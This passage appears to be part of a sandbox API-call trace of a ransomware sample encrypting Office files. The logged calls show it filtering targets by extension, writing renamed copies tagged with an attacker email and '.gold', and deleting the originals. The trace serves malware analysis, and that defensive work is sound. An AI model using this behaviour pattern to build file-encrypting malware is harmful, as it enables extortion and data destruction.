lpString2=".DLL") returned -1 [0101.770] lstrlenW (lpString=".7z") returned 3 [0101.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".dbf") returned 4 [0101.770] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".1cd") returned 4 [0101.770] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.771] lstrlenW (lpString=".jpg") returned 4 [0101.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.771] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0101.771] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0101.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.771] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=205) returned 1 [0101.771] CloseHandle (hObject=0x364) returned 1 [0101.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0101.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.772] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.772] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.772] GetLastError () returned 0x0 [0101.772] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xcd, lpOverlapped=0x0) returned 1 [0101.773] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0101.774] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.774] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xee, lpOverlapped=0x0) returned 1 [0101.774] SetEndOfFile (hFile=0x198) returned 1 [0101.774] CloseHandle (hObject=0x198) returned 1 [0101.774] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.774] SetEndOfFile (hFile=0x364) returned 1 [0101.776] CloseHandle (hObject=0x364) returned 1 [0101.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 1 [0101.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.776] lstrlenW (lpString=".doc") returned 4 [0101.776] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.776] lstrlenW (lpString=".docx") returned 5 [0101.776] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.776] lstrlenW (lpString=".pdf") returned 4 [0101.776] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".xls") returned 4 [0101.777] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".xlsx") returned 5 [0101.777] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.777] lstrlenW (lpString=".ppt") returned 4 [0101.777] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".zip") returned 4 [0101.777] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".rar") returned 4 [0101.777] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".bz2") returned 4 [0101.777] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString=".7z") returned 3 [0101.777] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".dbf") returned 4 [0101.777] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".1cd") returned 4 [0101.777] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".jpg") returned 4 [0101.777] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".doc") returned 4 [0101.777] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString=".docx") returned 5 [0101.777] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.777] lstrlenW (lpString=".pdf") returned 4 [0101.777] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".xls") returned 4 [0101.777] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".xlsx") returned 5 [0101.777] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.777] lstrlenW (lpString=".ppt") returned 4 [0101.777] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".zip") returned 4 [0101.777] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".rar") returned 4 [0101.777] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.777] lstrlenW (lpString=".bz2") returned 4 [0101.777] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString=".7z") returned 3 [0101.777] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".dbf") returned 4 [0101.777] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".1cd") returned 4 [0101.777] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0101.777] lstrlenW (lpString=".jpg") returned 4 [0101.778] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.778] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0101.778] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0101.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.778] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0101.778] CloseHandle (hObject=0x364) returned 1 [0101.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0101.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.778] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.779] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.779] GetLastError () returned 0x0 [0101.779] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0101.782] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.782] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.782] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0101.783] SetEndOfFile (hFile=0x198) returned 1 [0101.783] CloseHandle (hObject=0x198) returned 1 [0101.783] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.783] SetEndOfFile (hFile=0x364) returned 1 [0101.787] CloseHandle (hObject=0x364) returned 1 [0101.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 1 [0101.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.788] lstrlenW (lpString=".doc") returned 4 [0101.788] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.788] lstrlenW (lpString=".docx") returned 5 [0101.788] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.788] lstrlenW (lpString=".pdf") returned 4 [0101.789] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".xls") returned 4 [0101.789] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".xlsx") returned 5 [0101.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.789] lstrlenW (lpString=".ppt") returned 4 [0101.789] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".zip") returned 4 [0101.789] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".rar") returned 4 [0101.789] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".bz2") returned 4 [0101.789] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.789] lstrlenW (lpString=".7z") returned 3 [0101.789] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".dbf") returned 4 [0101.789] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".1cd") returned 4 [0101.789] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".jpg") returned 4 [0101.789] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".doc") returned 4 [0101.789] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.789] lstrlenW (lpString=".docx") returned 5 [0101.789] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.789] lstrlenW (lpString=".pdf") returned 4 [0101.789] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".xls") returned 4 [0101.789] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".xlsx") returned 5 [0101.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.789] lstrlenW (lpString=".ppt") returned 4 [0101.789] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.789] lstrlenW (lpString=".zip") returned 4 [0101.789] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".rar") returned 4 [0101.789] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.789] lstrlenW (lpString=".bz2") returned 4 [0101.790] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.790] lstrlenW (lpString=".7z") returned 3 [0101.790] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.790] lstrlenW (lpString=".dbf") returned 4 [0101.790] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.790] lstrlenW (lpString=".1cd") returned 4 [0101.790] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0101.790] lstrlenW (lpString=".jpg") returned 4 [0101.790] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.790] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0101.790] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0101.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.790] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0101.790] CloseHandle (hObject=0x364) returned 1 [0101.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0101.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.791] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.791] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.791] GetLastError () returned 0x0 [0101.791] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0101.792] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.793] ReadFile (in: hFile=0x364, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.793] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0101.793] SetEndOfFile (hFile=0x198) returned 1 [0101.793] CloseHandle (hObject=0x198) returned 1 [0101.793] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.793] SetEndOfFile (hFile=0x364) returned 1 [0102.027] CloseHandle (hObject=0x364) returned 1 [0102.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 1 [0102.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.099] lstrlenW (lpString=".doc") returned 4 [0102.099] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.100] lstrlenW (lpString=".docx") returned 5 [0102.100] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.100] lstrlenW (lpString=".pdf") returned 4 [0102.100] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".xls") returned 4 [0102.100] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".xlsx") returned 5 [0102.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.100] lstrlenW (lpString=".ppt") returned 4 [0102.100] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".zip") returned 4 [0102.100] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".rar") returned 4 [0102.100] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".bz2") returned 4 [0102.100] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.100] lstrlenW (lpString=".7z") returned 3 [0102.100] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".dbf") returned 4 [0102.100] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".1cd") returned 4 [0102.100] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".jpg") returned 4 [0102.100] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".doc") returned 4 [0102.100] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.100] lstrlenW (lpString=".docx") returned 5 [0102.100] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.100] lstrlenW (lpString=".pdf") returned 4 [0102.100] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".xls") returned 4 [0102.100] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString=".xlsx") returned 5 [0102.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.100] lstrlenW (lpString=".ppt") returned 4 [0102.100] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.100] lstrlenW (lpString=".zip") returned 4 [0102.101] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.101] lstrlenW (lpString=".rar") returned 4 [0102.101] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.101] lstrlenW (lpString=".bz2") returned 4 [0102.101] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.101] lstrlenW (lpString=".7z") returned 3 [0102.101] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.101] lstrlenW (lpString=".dbf") returned 4 [0102.101] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.101] lstrlenW (lpString=".1cd") returned 4 [0102.101] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0102.101] lstrlenW (lpString=".jpg") returned 4 [0102.101] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.101] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0102.101] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0102.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 